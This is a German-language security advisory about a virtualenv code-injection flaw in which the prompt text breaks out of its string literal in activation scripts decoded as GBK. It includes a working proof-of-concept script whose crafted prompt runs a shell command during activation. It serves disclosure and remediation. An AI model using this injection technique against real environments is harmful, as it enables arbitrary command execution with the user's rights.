Hoch

virtualenv: Xonsh-Aktivierungsliterale hängen vom Skript-Dekodierungs-Codec ab

  • Veröffentlicht: 20.10.2026
  • Aktualisiert: 18.11.2026 14:17

Die Originalmeldung wurde seit der Erstellung dieser Erklärung geändert. Prüfen Sie die aktuellen technischen Daten und die Originalmeldung unten.

Zusammenfassung

Vom Aufrufer übergebener Prompt-Text kann im xonsh-Aktivierungsskript zu ausführbarer Syntax werden. Ein Angreifer muss den an virtualenv übergebenen Wert beeinflussen, und ein Benutzer muss die Umgebung anschließend aktivieren.

Betroffener Bereich

Xonsh liest ein UTF-8-Aktivierungsskript unter Verwendung einer älteren Multibyte-Kodierung wie GBK. Druckbare Nicht-ASCII-Bytes können die Art und Weise verändern, wie der Reader ein angrenzendes Anführungszeichen erkennt. Der Bericht betrifft die POSIX-Aktivierung. Eine Gefährdung durch nicht damit zusammenhängende Aktivatoren wird nicht nachgewiesen.

Angreifergesteuerte Eingabe

Der Angreifer kontrolliert Prompt- oder Zieldaten, die als Argument an virtualenv übergeben werden. Der Benutzer führt später ein Sourcing (source) des generierten Aktivierungsskripts durch.

Betroffener Code

Der relevante 21.14.8-Quellcode befindet sich in: xonsh quote(), UTF-8 template writer.

Mechanismus

Der Generator schreibt activate.xsh als UTF-8. Dessen quote() verwendete repr(), was druckbare Nicht-ASCII-Zeichen in der Datei belässt und ein eingebettetes Anführungszeichen mit einem Backslash maskiert. Xonshs source liest die Datei mittels $XONSH_ENCODING. Unter GBK oder Big5 enden die UTF-8-Bytes von 中 auf 0xad, was sich mit dem nachfolgenden 0x5c-Backslash zu einem einzigen dekodierten Zeichen verbindet. Der Backslash maskiert das Anführungszeichen folglich nicht mehr. Ein Prompt, der beide Arten von Anführungszeichen enthält, kann dann sein Python-String-Literal schließen und Befehle bereitstellen, die während der Aktivierung ausgeführt werden. Bei einer UTF-8-Quelltextdekodierung verbleibt derselbe Wert innerhalb des Literals.

Reproduktion und Nachweis

Der ursprüngliche Scanner-Fund, ANT-2026-PAUVP7YL, demonstrierte diesen Fehler auf Byte-Ebene in activate_this.py: Ein präparierter Prompt, der über exec(open(file).read(), ...) unter GBK geladen wurde, erzeugte eine Markierung, während UTF-8- und runpy.run_path-Kontrollen dies nicht taten. Der in dieser Sicherheitsmeldung behandelte xonsh-Pfad wurde im darauffolgenden, von den Betreuern bereitgestellten Review identifiziert. PR #3432 zeigt die xonsh-Quelltext-Dekodierungskette und ändert quote() zu ascii(), wodurch Nicht-ASCII-Zeichen als Escape-Sequenzen geschrieben werden. Der zugehörige Regressionstest kodiert das generierte Literal als ASCII, dekodiert es als GBK und prüft, ob ast.literal_eval den ursprünglichen Prompt zurückgibt.

Der Angriff erfordert die Kontrolle über den Prompt- oder Zielwert, eine betroffene xonsh-Quellkodierung und das spätere Sourcing der generierten Datei. Der ursprüngliche Reproduktionsfall für activate_this.py belegt für sich genommen noch keine Ausführung unter xonsh; dieses Ergebnis wird der separaten Überprüfung zugeschrieben. Bestehende activate.xsh-Dateien müssen nach dem Fix neu generiert werden.

Angriffssequenz

mermaid
sequenceDiagram
    participant A as Prompt supplier
    participant V as virtualenv quote()
    participant F as activate.xsh bytes
    participant X as xonsh source
    A->>V: 中 plus escaped quote and statements
    V->>F: repr writes UTF-8 中 followed by backslash
    alt XONSH_ENCODING is UTF-8
        F->>X: backslash remains an escape
        X-->>A: prompt remains data
    else XONSH_ENCODING is GBK or Big5
        F->>X: decoder consumes backslash as trail byte
        X->>X: quote closes and statements run
    end
    Note over V,X: ascii() emits only ASCII bytes and preserves the literal

Reproduktionsdateien

Die folgenden Dateien stammen aus dem Scanner-Bericht für ANT-2026-PAUVP7YL. Sie wurden gegen den Commit a857a7823c73 im Scanner-Image getestet. Der Einstiegspunkt repro erwartet Begleitdateien unter /tmp/repro.d; Fälle, die Benutzer-IDs ändern, erfordern einen wegwerfbaren Container mit Root-Berechtigung. Die letzte Ausgabezeile lautet BUG, wenn das gemeldete Verhalten auftritt. Diese Dateien sind als Nachweis beigefügt und wurden für diese Aktualisierung der Meldung nicht erneut ausgeführt.

repro

#!/usr/bin/env python3
import os
import subprocess
import sys
from pathlib import Path
from shutil import rmtree

work = Path("/tmp/activate-this-gbk")
rmtree(work, ignore_errors=True)
work.mkdir()
env_dir = work / "venv"
marker = work / "MARKER"

# set up: a zh_CN.GBK locale, which the image does not ship
subprocess.run([sys.executable, "/tmp/repro.d/install_gbk_locale.py", work / "locales"], check=True)
utf8_session = {"PATH": os.environ["PATH"], "LANG": "C.UTF-8"}
gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": str(work / "locales")}

# attacker: text that a tool relays as --prompt
# the payload's " makes repr() delimit with ' and write the prompt's own ' as \'
# 中 is e4 b8 ad in UTF-8; GBK reads e4 b8 as one character and ad 5c, ad plus that backslash, as the next
payload = f'__import__("os").system("touch {marker}")'
hostile_prompt = "中" + "';" + payload + "#"

# user: creates the environment with the virtualenv command
subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--prompt", hostile_prompt, env_dir], check=True)
activate_this = (env_dir / "bin" / "activate_this.py").read_bytes()
prompt_line = next(line for line in activate_this.splitlines() if line.startswith(b'os.environ["VIRTUAL_ENV_PROMPT"]'))
print(f"activate_this.py read as UTF-8: {prompt_line.decode('utf-8')}")
print(f"activate_this.py read as GBK:   {prompt_line.decode('gbk')}")
assert not marker.exists(), "payload ran at creation time"

# trigger: the same program activates the environment, first in a UTF-8 session, then in a GBK one
activate = [sys.executable, "/tmp/repro.d/activate_with_exec_open.py", env_dir]
control = subprocess.run(activate, env=utf8_session, stdout=subprocess.PIPE, encoding="utf-8", check=True)
ran_in_utf8_session = marker.exists()
print(f"CONTROL  UTF-8 session: {control.stdout.strip()}; {marker} exists: {ran_in_utf8_session}")

observed = subprocess.run(activate, env=gbk_session, stdout=subprocess.PIPE, encoding="gbk", check=True)
ran_in_gbk_session = marker.exists()
print(f"OBSERVED GBK session:   {observed.stdout.strip()}; {marker} exists: {ran_in_gbk_session}")

# check: the prompt is data and must not run in either session
print("BUG" if ran_in_gbk_session and not ran_in_utf8_session else "OK")

repro.d/activate_with_exec_open.py

#!/usr/bin/env python3
# usage: activate_with_exec_open.py ENV_DIR
# A program that activates a virtualenv the way activate_this.py's docstring said to until virtualenv 20.26.2.
import locale
import os
import sys

this_file = os.path.join(sys.argv[1], "bin", "activate_this.py")
exec(open(this_file).read(), {"__file__": this_file})

print(f"open() decodes as {locale.getpreferredencoding(False)}, VIRTUAL_ENV_PROMPT is {os.environ['VIRTUAL_ENV_PROMPT']}")

repro.d/install_gbk_locale.py

#!/usr/bin/env python3
# usage: install_gbk_locale.py LOCPATH
# Does what `locale-gen zh_CN.GBK` would; the image has glibc's localedef but no charmap or locale sources.
import os
import subprocess
import sys

locpath = sys.argv[1]
os.makedirs(locpath)

charmap = ["<code_set_name> GBK", "<comment_char> %", "<escape_char> /", "<mb_cur_min> 1", "<mb_cur_max> 2", "CHARMAP"]
charmap += [f"<U{byte:04X}> /x{byte:02x}" for byte in range(0x80)]
for lead in range(0x81, 0xFF):
    for trail in range(0x40, 0xFF):
        try:
            char = bytes([lead, trail]).decode("gbk")
        except UnicodeDecodeError:
            continue
        charmap.append(f"<U{ord(char):04X}> /x{lead:02x}/x{trail:02x}")
charmap.append("END CHARMAP")
with open(f"{locpath}/GBK.charmap", "w") as charmap_file:
    charmap_file.write("\n".join(charmap) + "\n")

# -c: the source has no LC_TIME, LC_MONETARY, ...; localedef fills in defaults, warns and exits 1, so check the result below
source = "/tmp/repro.d/zh_CN_minimal.locale"
subprocess.run(["localedef", "-c", "-f", f"{locpath}/GBK.charmap", "-i", source, f"{locpath}/zh_CN.GBK"], capture_output=True)

gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": locpath}
codeset = subprocess.run(["locale", "charmap"], env=gbk_session, capture_output=True, text=True, check=True)
if codeset.stdout.strip() != "GBK" or codeset.stderr:
    sys.exit(f"zh_CN.GBK locale not usable: {codeset}")

repro.d/zh_CN_minimal.locale

comment_char %
escape_char /
% Stand-in for glibc's locales/zh_CN: ASCII character classes only. What matters is the codeset name, GBK, which
% comes from the charmap given to localedef with -f.
LC_CTYPE
upper <U0041>..<U005A>
lower <U0061>..<U007A>
digit <U0030>..<U0039>
space <U0009>..<U000D>;<U0020>
cntrl <U0000>..<U001F>;<U007F>
punct <U0021>..<U002F>;<U003A>..<U0040>;<U005B>..<U0060>;<U007B>..<U007E>
xdigit <U0030>..<U0039>;<U0041>..<U0046>;<U0061>..<U0066>
blank <U0009>;<U0020>
END LC_CTYPE
LC_COLLATE
order_start forward
UNDEFINED
order_end
END LC_COLLATE

Auswirkungen

Eine betroffene Aktivierung kann Befehle mit den Rechten des Benutzers ausführen. Der Schweregrad ist hoch (High), entsprechend dem Präzedenzfall für generierte Skripte in GHSA-p58f-9548-mpm2. Der Angriff erfordert die Kontrolle über Argumentdaten und eine anschließende Aktivierung durch den Benutzer; er erfordert weder das Ersetzen einer ausführbaren Datei noch die Kontrolle über Inhalte von App-Daten.

Getestete Versionen

Die nachfolgende Überprüfung kennzeichnet die Befehlsausführung als durch ihren Autor unabhängig bestätigt. Das Implementierungs-Review nutzte Quellcode-Inspektion und Prüfungen gepatchter Literalwerte, ohne diesen Exploit erneut auszuführen. Der relevante Aktivierungsquellcode ist zwischen Release 21.14.8 und upstream/main 233359cb identisch. Der Betreuer bestätigte zuvor die Validierung der gemeldeten Ergebnisse auf 21.14.8. Die erste betroffene Version ist nicht ermittelt. Behoben in 21.14.9.

Bekannte Abhilfemaßnahmen

Verwenden Sie vertrauenswürdige Prompt- und Zielwerte. Verwenden Sie die UTF-8-Quelltextdekodierung in xonsh auf älteren Versionen. Erstellen Sie Umgebungen mit virtualenv 21.14.9 oder neuer neu.

Betroffene Version

  • Das Problem lässt sich auf virtualenv 21.14.8 reproduzieren.

Danksagung

Der ursprüngliche Bericht wurde von Anthropic's OSS Scanner als ANT-2026-PAUVP7YL bereitgestellt. Das anschließende, vom Betreuer durchgeführte Review identifizierte den verbleibenden Aktivierungspfad.

Zusätzlicher Fix-Branch

PR #3411 verwendet neben den Änderungen am Aktivierungsstatus ebenfalls reine ASCII-Literale für Pfade und Prompts. Beide Branches müssen diese Quoting-Regel beibehalten, wenn sie integriert werden.

Was zu tun ist

Verwenden Sie vertrauenswürdige Werte für Prompts und Zielpfade. Nutzen Sie bei älteren Versionen die UTF-8-Quelltextdekodierung in xonsh. Aktualisieren Sie auf virtualenv 21.14.9 (oder 21.14.9 bzw. neuer) und erstellen Sie bestehende Umgebungen neu, um die betroffenen activate.xsh-Dateien neu zu generieren.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) virtualenv >= 21.3.0, < 21.14.9 21.14.9

Verweise

CVSS-Wert 7.8/10
CVSS-Vektor
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Schwäche (CWE)
CWE-94
Plattform
Python (PyPI)
Paket
virtualenv
Veröffentlicht
20.10.2026
Aktualisiert
18.11.2026 14:17

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - PYSEC-2026-4377 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-394h-qwmc-48pf - CC BY 4.0

Schwachstellenhistorie: virtualenv

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (21) im Archiv
Einträge insgesamt
21
Erste → letzte
12.2011 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Hoch 13
  • Mittel 8

Veröffentlichungen pro Jahr

  1. 2017: 0
  2. 2018: 0
  3. 2019: 0
  4. 2020: 0
  5. 2021: 0
  6. 2022: 0
  7. 2023: 0
  8. 2024: 1
  9. 2025: 0
  10. 2026: 19

früher: 1

Schweregrad:
  1. virtualenv: Xonsh-Aktivierungsliterale hängen vom Skript-Dekodierungs-Codec ab dieser Eintrag
    Hoch · 7.8 CVE-2026-113718 >= 21.3.0, < 21.14.9 21.14.9
  2. Hoch · 7.8 CVE-2026-113722 >= 20.0.0, < 21.14.9 21.14.9

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.